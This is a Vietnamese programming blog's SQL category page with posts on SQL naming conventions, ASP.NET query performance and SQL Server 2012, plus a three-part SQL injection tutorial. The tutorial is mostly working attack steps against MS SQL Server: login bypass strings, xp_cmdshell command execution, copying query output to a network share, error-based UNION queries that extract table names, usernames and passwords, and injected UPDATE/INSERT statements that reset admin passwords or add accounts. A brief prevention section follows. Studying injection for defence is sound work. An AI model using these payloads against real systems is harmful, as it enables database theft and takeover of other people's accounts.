Hiển thị các bài đăng có nhãn SQL. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn SQL. Hiển thị tất cả bài đăng
quy tac dat ten sqlCái tên thường phản ánh nội dung và bản chất của đối tượng hoặc biến mà nó được dùng để đặt tên. Đặt tên sao cho nó có ý nghĩa đúng với nội dung đã khó mà đặt tên sao cho đúng với quy tắc chuẩn cũng là điều khó không kém. Đặt tên theo quy tắc chuẩn sẽ giúp những người khác khi xem code của bạn cũng cảm thấy dễ hiểu hơn vì nó một quy tắc đã được định sẵn. Nhưng việc đặt tên cho biến hoặc các đối tượng trong SQL cũng không phải là bắt buộc và bạn có thể tùy chọn việc này. Bài viết này mình xin giới thiệu cho các bạn một vài nguyên tắc đặt tên thông dụng trong SQL.
1. Sử dụng một kí tự alphabet ở đầu tên, không sử dụng các kí tự "_" gạch dưới, hoặc số ở đầu tên biến.
2. Giới hạn việc viết tắt quá nhiều trong tên biến hoặc đối tượng. Điều này dễ gây nhầm lẫn.
3. Giới hạn việc sử dụng các từ viết tắt hai lần trong tên.
4. Đặt tên mang ý nghĩa đúng với nội dung và tính chất của biến hoặc đối tượng.
5. Không sử dụng khoảng trắng(space) hoặc các kí tự đặc biệt trong tên như *,$,#...
6. Tên bảng thường không cần bắt đầu bằng prefix "tbl" hay "tb" và tên bảng nên để ở dạng số ít như "Student" thay vì "Students". Tên bảng nên sử dụng Pascal Case tức là viết hoa chữ cái đầu của mỗi từ trong tên như SaleDepartment.
7. Nguyên tắc đặt tên cột.
 * Nên đặt tên cột theo kiểu Pascal, hạn chế dùng theo kiểu camelCase( kiểu lạc đà - tức là chữ đầu không viết hoa mà viết thường còn các chữ sau có thể viết hoa chữ cái đầu của mỗi từ như myDocument).
 * Đặt tên khóa chính nên có hậu tố Id thường thì công thức sẽ là tên bảng + "Id".
 * Đối với khóa ngoại thì nên có tên giống với khóa chính mà nó tham chiếu tới. Ví dụ khóa chính của bảng Staff là "StaffId" và bảng [Class] có khóa ngoại đến bảng Staff thì nó có tên là "StaffId".
 * Không nên sử dụng các tiến tố trước tên cột.
 * Tên nên chỉ ra loại dữ liệu mà nó chứa ví dụ bạn có 1 trường dữ liệu lưu việc sinh viên có đi học vào ngày nào đó hay không thì thay vì đặt tên biến là Absent bạn có thể đặt là IsAbsent với kiểu dữ liệu là bit.
 * Tên cột phải có ý nghĩa và không nên viết tắt quá nhiều nhưng bạn phải lưu ý đến độ dài của tên cột nên nằm trong khoảng dưới 30 chars là tốt nhất nhưng giới hạn của nó là 50 chars.
 * Tên cột có thể chứa số nhưng không chứa các kí tự đặc biệt.
8. Đặt tên cho index thì nên bắt đầu bằng "IX_", đặt tên cho unique column thì nên bắt đầu là "UN_" hoặc "U/N"
9. Đặt tên cho ràng buộc(Constraint)
 * Công thức: loại ràng buộc+ tên bảng + "_"+tên cột
 * Một số prefix cho các loại ràng buộc.
     o. Primary Key: Pk ví dụ PkProduct_Id.
     o. Foreign Key: Fk ví dụ FkOrder_ProductId.
     o.  Check: Ck ví dụ CkStudent_Age.
     o. Unique: Un ví dụ UnContact_Phone.
10. Đặt tên cho view.
 * Nên bắt đầu bằng "vw".
 * Tên nên có ý nghĩa và nên là sự kết hợp của các bảng mà nó join lại với nhau. Ví dụ bạn tạo view join bảng Product và bảng Category thì lúc tạo view nó sẽ tên là vwProductCategory.
11. Đặt tên cho thủ tục.
 * Nên bắt đầu bằng "sp".
 * Đặt tên theo mục đích sử dụng của thủ tục đó ví dụ thủ tục tạo product mới spProductCreate hay xóa product spProductDelete.
12. Đặt tên cho các hàm.
 * Nên bắt đầu bằng "fn".
 *  Tên hàm nên có ý nghĩa là như những động từ chỉ chức năng mà nó sẽ thực hiện như fnGetTime...
13. Đặt tên cho trigger.
 * Nên bắt đầu bằng "tr".
 * Nếu trigger thực hiện nhiều chức năng thì tên nên chứa ý nghĩa thực hiện những chức năng đó ví dụ: trProductInsertUpdate.
 14. Đặt tên cho dữ liệu tự định nghĩa.
 * Nên bắt đầu bằng "ud".
 * Không chứa các kí tự đặc biệt, chỉ nên chứa chữ và số.
15. Đặt tên cho biến.
 * Tên biến không nên quá dài(giới hạn là 50 chars).
 * Tên biến phải bắt đầu bằng @ và không sử dụng @@ vì đây là cách đặt tên cho biến toàn cục của SQL.
 * Tên biến nên đặt tên theo kiểu camelCase. Ví dụ @totalMark.
 *  Không sử dụng các kí tự đặc biệt
Đây là một số quy tắc đặt tên trong SQL. Hi vọng nó sẽ giúp các bạn chuẩn hóa việc code và đặt tên trong SQL.
cai thien toc do web aspnetHôm trước mình đã giới thiệu với  mọi người một số cách để cải thiện tốc độ và hiệu suất thực thi cho web ASP.NET. Hôm nay mình xin giới thiệu tiếp những thủ thuật khác để tăng hiệu suất cho web aspnet. Bài này thiên về cách tạo câu truy vấn và truy xuất dữ liệu trong SQL sao cho hiệu quả và tăng hiệu năng cho web ASP.NET. Vì đối những server tầm trung hoặc yếu và mạng của người dùng không ổn định thì việc chờ đợi web load được dữ liệu về thì cực kì mất thời gian và cực kì khó chịu :((. Ở đây mình chỉ nêu một vài cách cơ bản để tối ưu truy vấn SQL, mình sẽ có một bài khác về cách tối ưu truy vấn SQL.
11. Sử dụng connection pooling. Khi bạn request data từ server bạn cần phải thiết lập 1 kết nối đến server và điều này sẽ tiêu hao khá nhiều tài nguyên của server. Và điều gì sẽ xảy ra nếu bạn phải request nhiều lần đến server để lấy dữ liệu? Sẽ rất tốn tài nguyên nếu chúng ta làm như vậy. Vì thế connection pooling đã được tạo ra để sử dụng lại những kết nối đã được thiết lập.
12. Luôn nhớ đóng các kết nối server và truy vấn dữ liệu. Đây là điều cực kì quan trọng nếu bạn không muốn web bị crash liên tục vì bị quá tải. Hãy dùng connection.Close() hoặc SqlDataAdapter.Dispose() hoặc các câu lệnh tương tự để ngắt kết nối và truy vấn khi đã thực thi xong.
13. Tối ưu những câu truy vấn. Để lấy được dữ liệu thì điều cần thiết là phải có câu truy vấn. Nhưng truy vấn như thế nào để tránh gây nghẽn database server và tốn tài nguyên. Hãy luôn nhớ chỉ select những gì chúng ta cần. Mọi người thường có thói quen truy vấn tất cả từ bảng hoặc view mà không bao giờ dùng đến một số trường trong đó.
14. Sử dụng thủ tục(Stored Procedure). Stored procedure giúp chúng ta tăng tính bảo mật và tránh bị tấn công kiểu sql injection. Nhưng ngoài ra nếu chúng ta sử dụng nó sẽ giúp tăng tốc thực thi các câu lệnh so với việc dùng câu truy vấn bình thường.
15. Khi nào sử dụng SqlDataReader và SqlDataAdapter. Nhiều người trong chúng ta thường sử dụng 2 lớp này để truy vấn dữ liệu và nghĩ rằng chúng giống nhau nhưng không. Nhìn bề ngoài thì có vẻ chúng khá giống nhau về cách thức hoạt động nhưng SqlDataReader là class được xây dựng để cho việc truy vấn dữ liệu và fill vào DataSet hoặc DataTable. Nó nhanh hơn SqlDataAdapter. Còn SqDatalAdapter dùng để thực thi các câu lệnh updating database sẽ tốt hơn vì nó cho phép bạn đóng kết nối khi bạn muốn hoặc thậm chí là có thể tự động đóng kết nối, nó lưu kết quả vào bộ nhớ và bạn có thể lặp qua các bản ghi bao nhiêu lần tùy ý nhưng cái giá phải trả là bạn sẽ tốn khá nhiều bộ nhớ.
16. Đánh index cho các câu truy vấn được sử dụng trong truy vấn có Where,Order By, Distinct, Group By,...
17. Sử dụng một tập lệnh trong truy vấn. Nếu trong câu truy vấn của bạn có khá nhiều lệnh hãy ghi nhớ sử dụng tập lệnh(batch) với từ khóa go.
18. Sử dụng index trên các khóa ngoại.  Nó sẽ giúp bạn tăng tốc truy vấn cho các câu lệnh.
19.Sử dụng SETNOCOUNT trong câu lệnh sql. Khi bạn thực thi 1 câu lệnh nó luôn hiển thì 1 dòng là X row(s) affected. Để tắt cái này đi bạn hãy dùng SETNOCOUNT. Tuy không giảm được nhiều tài nguyên server nhưng nếu bạn select hoặc update khoảng vài nghìn bản ghi cho đến hàng chục nghìn bản ghi thì nó sẽ giúp bạn khá đáng kể trong việc tiết kiệm tài nguyên.
20. Tránh dùng view lồng nhau. View khá thuận tiện cho việc tạo ra 1 khung nhìn trên nhiều bảng kết hợp với nhau nhưng truy vấn từ view vẫn khá chậm vì thế nếu bạn sử dụng view lồng nhau thì sẽ còn chậm hơn nữa tuy việc này SQL không cấm nhưng bạn không nên sử dụng quá nhiều.
(to be continue)

Cải thiện tốc độ và hiệu suất cho web ASP.NET-Phần 1
Cải thiện tốc độ và hiệu suất cho web ASP.NET-Phần 3
Cải thiện tốc độ và hiệu suất cho web ASP.NET-Phần 4
Cải thiện tốc độ và hiệu suất cho web ASP.NET-Phần 5
sql server 2012Theo Microsoft, SQL Server 2012 sẽ giúp giải quyết các thách thức liên quan đến sự gia tăng khối lượng dữ liệu bằng cách chuyển các dữ liệu này thành các tầm nhìn mang tính quyết định nhanh chóng. Ngoài cam kết trong việc giúp đỡ khách hàng quản lý bất kì dữ liệu nào, với bất kì kích thước nào, tại cả cơ sở và trên điện toán đám mây, Microsoft cũng tiết lộ thêm chi tiết về kế hoạch phát hành dịch vụ dựa trên Apache Hadoop dành cho Windows Azure.
SQL Server 2012 đã và đang được triển khai, sử dụng bởi hàng trăm công ty hàng đầu ở nhiều lĩnh vực trên toàn cầu như Volvo Car Corp., Revlon, HSN, Sanofi Pasteur, Klout và LG Chemical. Lựa chọn SQL Server 2012 khách hàng sẽ được hưởng lợi ích từ hệ đối tác phong phú hàng đầu cả trong lĩnh vực phần cứng và phần mềm, giúp họ tạo ra những giải pháp tốt nhất cho những nhu cầu quản lý dữ liệu.

Gartner ước tính khối lượng dữ liệu toàn cầu đang tăng trưởng 59% mỗi năm và 70 đến 85% dữ liệu trong số đó không có cấu trúc. Ngoài cam kết liên kết SQL Server với các công cụ BI khác như Microsoft Excel, PowerPivot dành cho Excel 2010 và Power View; với các dữ liệu không cấu trúc, Microsoft đưa ra kế hoạch công bố bản xem trước giới hạn dựa trên nền tảng Apache Hadoop dành cho Windows Azure trong nửa đầu năm 2012.

Kể từ thời điểm bản xem trước đầu tiên ra mắt vào tháng 12 năm ngoái, các khách hàng như Webtrends và Đại học Dundee đã sử dụng dịch vụ dựa trên Hadoop này để có được các thông tin đơn giản, đưa ra quyết định nhanh từ khối dữ liệu lưu trữ trên đám mây phức tạp.

Và đây là link download bản full chính thức từ MS : http://download.microsoft.com/downlo...QLFULL_ENU.iso

Và đây là link download bản Express 32-64 bit chính thức từ MS (sài free khỏi key):
*32 bit : http://care.dlservice.microsoft.com/...QLDENEXPPOST32

*64 bit : http://care.dlservice.microsoft.com/...QLDENEXPPOST32
sql injection va cach phong chong
Tiếp tục với phần 3 của seri bài về SQL injection là gì và cách phòng chống

7. Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".
8. Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

9. Thay đổi dữ liệu (Update/Insert) của CSDL
Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.
Để thay đổi password của "neo", có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn một record mới vào table:
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và bây giờ có thể login vào với username "neo2" và password là "newpas5"
10. Ngăn chặn SQL Injection
Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
input do người dùng đệ trình
các tham số từ URL
các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask
11. Ngăn chặn SQL Injection trong ASP.NET


Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
12. Tài liệu thao khảo

How I hacked PacketStorm (Rain Forest Puppy)http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Great article on gathering information from ODBC error messages
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
A good summary of SQL Injection on various SQL Server onhttp://www.owasp.org/asac/input_validation/sql.shtml
Senseport's article on reading SQL Injectionhttp://www.sensepost.com/misc/SQLinsertion.htm
Khác:
http://www.digitaloffense.net/warga.../IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

Bài viết có sự tham khảo một số nguồn trên mạng(mình không xác định được đâu mới là gốcsql injection va cach phong chong )
Hy vọng mọi người có thêm chút khái niệm về SQL injection.
sql injection va cach phong chong
Mình xin tiếp tục với phần 2 của bài SQL injection là gì và cách phòng chống. Như phần trước các bạn đã biết sql injection có thể được thực thi từ xa. Vậy sau khi chúng ta đã thực thi injection thì làm gì để có thể lấy thông tin đây.
4. Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder "share" phải được share cho Everyone trước.
5. Nhận dữ liệu qua 'database using ODBC error message'
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL. Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có. Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".
6. Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
Phần 1
Phần 3
sql injection va cach chongHôm nay mình sẽ giới thiệu cho mọi người về SQL injection, chúng ta sẽ xem nó là gì và tại sao mọi người lại phải chú ý đến nó.
1. SQL injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input form trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Chrome, Firefox,...
2. Những nơi thường bị tấn công
Những nơi thường bị tấn công đó là các form đăng nhập, tìm kiếm, liên hệ,... Những form này là nơi tiếp nhận dữ liệu và sẽ được đưa vào trong để xử lí. Giả sử bây giờ chúng ta thử đăng nhập với 2 giá trị là username và password:
username: hack day' or 1=1--
password: hack day' or 1=1--
Và các giá trị này sẽ được coi như giá trị đầu vào của form login này. Nhưng tại sao những giá trị này lại có thể giúp chúng ta đăng nhập mà không cần biết chính xác mật khẩu là gì? Vậy chúng ta hãy cùng xem tại sao lại như thế.
Bình thường chúng ta sẽ viết câu query sql như sau:
SELECT COUNT(*) FROM tblUsers WHERE userName='+txtUserName+' AND password='+txtPassword+';
Trên đây là một ví dụ mình minh họa thôi :). Tiếp theo khi bạn nhập chuỗi trên vào thì nó sẽ trở thành:
 SELECT COUNT(*) FROM tblUsers WHERE userName='hack day'or 1=1--' AND password='hack dat' 1=1--';
Bạn có thể chạy và thấy 2 điều:
a. khi nó xác nhận giá trị cho userName thì chuỗi "hack day" là một chuỗi không chính xác nhưng 1=1 lại là luôn đúng-> câu lệnh có thể tiếp tục chạy
b. Bạn có thể để ý hai dấu "--" chính là chuỗi comment trong sql và khi gặp 2 dấu này thì đoạn đằng sau coi như là comment và câu lệnh sẽ chạy mà không quan tâm đến chuỗi đằng sau.
Và lúc này bạn đã có thể đăng nhập một cách ngon lành mà không gặp khó khăn gì.
3. Thực thi SQL injection từ xa
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.
Phần 2
Phần 3